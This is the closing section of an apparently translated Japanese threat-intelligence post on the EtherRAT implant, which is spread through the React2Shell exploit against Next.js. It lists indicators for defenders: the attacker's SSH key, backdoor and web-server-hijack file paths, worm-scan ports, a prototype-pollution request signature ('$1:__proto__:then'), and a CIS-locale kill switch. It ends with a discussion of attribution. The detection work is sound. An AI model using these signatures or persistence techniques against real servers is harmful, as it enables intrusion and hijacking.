ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFTxaWmhQkYYF2LgNsAumFqxUiUSv8YEd7DRE9Wb076YxY0fGn4scWzmQnIP/xsrynapcrGKhBXW31BG7wFearY9fctJeHrnAw7CeXqMybFPGIrl+PbLsUnH2AeizjqTOhVZMrgO+0MdsNrdGTN58azTRIvDvgXX9/4p5tinRvisP8jQXPwRv9gurT9hbjrff8bFYmbttSkFXzwlvo5jVi3WrDBLeSSaEnolsJbvCGzzNtm2s77O3yesztMOn03YR1b1QWaOZMTQtzS7gvpKQ8voxypyUd2H+qwK1fe3S7t3QHnNBoKxHXi/KsxgFbY9G74SKV15jTFyrJCJOaYQbVSZiz+uPYDRgW4xBKDsKEx5ne2E4oqJVSSNiZ/QJs0+zA3QFIflcR3WrZ6xxw0ivk/nvhzcCsd+K94jK/qheJzrTTvWqjo8FauCN8LtxqQGpbNWHHRJqc2m/lTt8CA2V89RquqMX7FhArF86TnMxHHt9IDDCf07eIEbpLuWGpJLBJeHbqy5h8yB8ZoUj/E3E7+KMd6HGvYkKxn3YItfopArpg6AfWzP0bjyw7yzxdsbElkxL3K6UcBeTBXb/HMOpTE9uyNN4TvczJZAbB6Yy51x2RU4Yd815MFVPVFFn+5/z+ZyK9442c9/UHKMcbOtXkvydWM7v01xCc8tFlIFKa4w== root@vps

ファイルシステムアーティファクト

パス 説明
/tmp/nextjs_scan.log ワームスキャン結果
/etc/nginx/sites-enabled/*.bak 元のnginx設定のバックアップ
/etc/nginx/conf.d/*.bak 元のnginx設定のバックアップ
/etc/apache2/sites-available/*.disabled 無効化されたApache vhosts
/etc/apache2/sites-available/000-redirect.conf Apacheハイジャッカー設定
~/.ssh/authorized_keys SSHバックドア永続化

ネットワークシグネチャ

ワームスキャン:

  • ポート80、443、3000、3001、8080、8443への大量接続
  • プライベートIP範囲を含む(10.x、172.16-31.x、192.168.x)

React2Shellエクスプロイト:

  • Next-Actionヘッダー(40のランダムな英数字)を含むHTTPリクエスト
  • $1:__proto__:thenを含むPOSTボディ(プロトタイプ汚染シグネチャ)

偵察流出:

  • hwidがハードウェア識別子のパターンに一致する/{hwid}エンドポイントへのPOSTリクエスト

CIS諸国除外

偵察ペイロードは、システムロケールが次と一致する場合、自己終了します:

ru, be, kk, ky, tg, uz, hy, az, ka
(ロシア、ベラルーシ、カザフスタン、キルギスタン、タジキスタン、ウズベキスタン、アルメニア、アゼルバイジャン、ジョージア)

結論

EtherRATは、脅威アクターがコモディティ技術を効果的なマルチステージインプラントに組み合わせる方法を示しています。ブロックチェーンC2は削除に対する回復力を提供しますが、攻撃者に対して機能する不変の監査証跡を作成します。ペイロードコレクションは全範囲をカバーしています:ターゲット評価のための偵察、金銭的盗難のための認証情報ハーベスティング、アクセス拡大のためのワーム伝播、トラフィック収益化のためのウェブサーバーハイジャック、およびC2に依存しない永続的アクセスのためのSSH鍵。

ただし、EtherRAT帰属は依然として複雑です。Sysdig TRTの初期報告では、キャンペーン間のコードを比較できずに、Contagious Interviewキャンペーンで見られるAES-256-CBCローダーパターンに基づいてDPRKネクサスアクティビティの可能性を評価しました。CIS諸国除外、xss.proリダイレクト、およびwebhook.site流出は、ロシア語を話す脅威アクターとより一般的に関連付けられており、チームの初期の北朝鮮帰属と矛盾します。総合すると、帰属証拠は、CISベースのオペレーター、共有ツール、または意図的な偽旗のいずれかを示唆しています。

明確なのは、React2Shellエクスプロイトが積極的に武器化されており、脆弱なNext.jsデプロイメントを実行している組織は複数のアクターからの脅威に直面しているということです。

翻訳元: https://www.sysdig.com/blog/etherrat-dissected-how-a-react2shell-implant-delivers-5-payloads-through-blockchain-c2

ソース: sysdig.com